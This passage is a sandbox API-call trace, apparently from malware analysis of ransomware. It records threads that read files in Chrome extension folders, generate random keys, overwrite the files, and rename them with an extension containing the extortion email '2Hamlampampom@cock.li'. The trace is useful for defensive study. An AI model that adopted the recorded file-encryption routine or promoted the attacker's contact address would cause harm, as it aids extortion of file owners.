Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.mailto[2Hamlampampom@cock.li].cd46d" [0178.463] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8adfac0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1b8) returned 0x8f6b60 Thread: id = 6400 os_tid = 0x1cbc [0171.868] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png")) returned 0x2020 [0173.985] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", dwFileAttributes=0x20) returned 1 [0174.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x150c [0174.378] GetFileSizeEx (in: hFile=0x150c, lpFileSize=0x769fea4 | out: lpFileSize=0x769fea4*=160) returned 1 [0174.378] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ca8 [0174.378] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945bb8 [0174.378] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a50 [0174.378] NtQuerySystemTime (in: CurrentTime=0x769fe04 | out: CurrentTime=0x769fe04*=132174899489782000) returned 0x0 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x696c0949 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x615b0e1c [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x57513257 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x313a1202 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x38874cb2 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x54f9f875 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x7d2727d [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x792dfc [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x46154319 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x9eabb99 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x62c751de [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0xc338e03 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x1c794f52 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0xfa61ef0 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x7f845142 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x45877b94 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x194dd10f [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x5f13bbe8 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x6264fec2 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x14e49fa3 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x88881cb [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x4c12a6b1 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x248470af [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x286c64f2 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x1172eb68 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x2a04fce7 [0174.378] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x27c94fcf [0174.379] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x7aa9c382 [0174.379] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x2186dd48 [0174.379] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x148a1469 [0174.379] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x77d15ec2 [0174.379] RtlRandomEx (in: Seed=0x769fe10 | out: Seed=0x769fe10) returned 0x6046b41b [0174.392] ReadFile (hFile=0x150c, lpBuffer=0xd505078, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x769fe00, lpOverlapped=0x0) [0174.412] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.412] WriteFile (in: hFile=0x150c, lpBuffer=0xd511880*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x769fdfc, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesWritten=0x769fdfc*=0xa0, lpOverlapped=0x0) returned 1 [0174.575] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945be0 [0174.575] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455f0 [0174.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455f0) returned 1 [0174.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0174.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0174.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9340) returned 1 [0174.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0174.575] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x51) returned 0x8ff068 [0174.575] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.575] WriteFile (in: hFile=0x150c, lpBuffer=0x8fc8d8*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x769fe64, lpOverlapped=0x0 | out: lpBuffer=0x8fc8d8*, lpNumberOfBytesWritten=0x769fe64*=0x135, lpOverlapped=0x0) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fc8d8) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff488) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455f0) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff068) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945be0) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945bb8) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945938) returned 1 [0175.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0175.064] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a0) returned 0x91bba8 [0175.064] wcscpy (in: _Dest=0x91bba8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" [0175.064] wcscat (in: _Dest=0x91bba8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.mailto[2Hamlampampom@cock.li].cd46d" [0175.064] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x769fe1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0175.065] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1b6) returned 0x8f6ea0 Thread: id = 6401 os_tid = 0xf38 [0171.868] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json")) returned 0x2020 [0171.868] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json", dwFileAttributes=0x20) returned 1 [0172.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x83c [0172.431] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0x786fe1c | out: lpFileSize=0x786fe1c*=2803) returned 1 [0172.431] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0xaef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.431] ReadFile (in: hFile=0x83c, lpBuffer=0x786fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x786fd9c, lpOverlapped=0x0 | out: lpBuffer=0x786fda0*, lpNumberOfBytesRead=0x786fd9c*=0x4, lpOverlapped=0x0) returned 1 [0172.434] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a28 [0172.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0172.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945500 [0172.434] NtQuerySystemTime (in: CurrentTime=0x786fd7c | out: CurrentTime=0x786fd7c*=132174899470282000) returned 0x0 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x6648ef28 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x392e96fc [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0xbb3f434 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x215b7f84 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x16f5ae43 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x6a9a6b72 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x62b9bf0a [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x479f65da [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x79c1af8f [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x1347560f [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x55fd9c68 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x21a4e0d5 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x55c7c102 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x50689553 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x4707f43e [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x6bb8e1a7 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x3b9830a8 [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x40a4ab1d [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x2081989a [0172.434] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x509cc966 [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x6a50008f [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x684917ea [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x58b75cfc [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x44463001 [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x4d5b811b [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x32b5b5d4 [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x187581cd [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x793ec790 [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x6cbbc56a [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x153a95cd [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x45eb7271 [0172.435] RtlRandomEx (in: Seed=0x786fd88 | out: Seed=0x786fd88) returned 0x3832f7c4 [0172.447] ReadFile (hFile=0x83c, lpBuffer=0x12ce8648, nNumberOfBytesToRead=0xaf3, lpNumberOfBytesRead=0x786fd78, lpOverlapped=0x0) [0172.447] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.447] WriteFile (in: hFile=0x83c, lpBuffer=0x12d01008*, nNumberOfBytesToWrite=0xaf3, lpNumberOfBytesWritten=0x786fd74, lpOverlapped=0x0 | out: lpBuffer=0x12d01008*, lpNumberOfBytesWritten=0x786fd74*=0xaf3, lpOverlapped=0x0) returned 1 [0173.564] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945690 [0173.564] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945820 [0173.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945820) returned 1 [0173.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d01008) returned 1 [0173.567] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ce8648) returned 1 [0173.569] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bdb0) returned 1 [0173.569] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0173.569] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x35) returned 0x93b6f8 [0173.569] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.569] WriteFile (in: hFile=0x83c, lpBuffer=0x9439a8*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x786fddc, lpOverlapped=0x0 | out: lpBuffer=0x9439a8*, lpNumberOfBytesWritten=0x786fddc*=0x119, lpOverlapped=0x0) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9439a8) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b538) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945820) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b6f8) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945690) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457d0) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c80) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0174.137] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x182) returned 0x8f3a00 [0174.137] wcscpy (in: _Dest=0x8f3a00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" [0174.137] wcscat (in: _Dest=0x8f3a00, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d" [0174.137] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x786fd94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0174.137] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x198) returned 0x9294c0 Thread: id = 6402 os_tid = 0x1cc0 [0171.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json")) returned 0x2020 [0171.869] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json", dwFileAttributes=0x20) returned 1 [0171.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x840 [0171.993] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x7b2fea4 | out: lpFileSize=0x7b2fea4*=17492) returned 1 [0171.993] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x4450, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.993] ReadFile (in: hFile=0x840, lpBuffer=0x7b2fe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7b2fe24, lpOverlapped=0x0 | out: lpBuffer=0x7b2fe28*, lpNumberOfBytesRead=0x7b2fe24*=0x4, lpOverlapped=0x0) returned 1 [0171.996] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945af0 [0171.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945550 [0171.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945b90 [0171.996] NtQuerySystemTime (in: CurrentTime=0x7b2fe04 | out: CurrentTime=0x7b2fe04*=132174899465914000) returned 0x0 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x5bc8cc3b [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x51be4fd1 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x6b24bc4e [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x4758acd7 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x71c060fc [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x41cc1a0e [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x47f6548e [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x485b9c65 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x652bea6f [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x52c4645a [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x67bfcbdb [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0xc16e627 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x231dd40a [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0xa8d90c5 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x28d0b3ce [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x7e7170b [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x72e60a0c [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x2d6aa56 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x1846bab8 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x4ce805b7 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x1562e1cf [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x2786ce95 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0xd8cc835 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x4a2562e8 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0xef09102 [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x1a22105a [0171.996] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x25e94ee3 [0171.997] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x76a3907c [0171.997] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x55a7405a [0171.997] 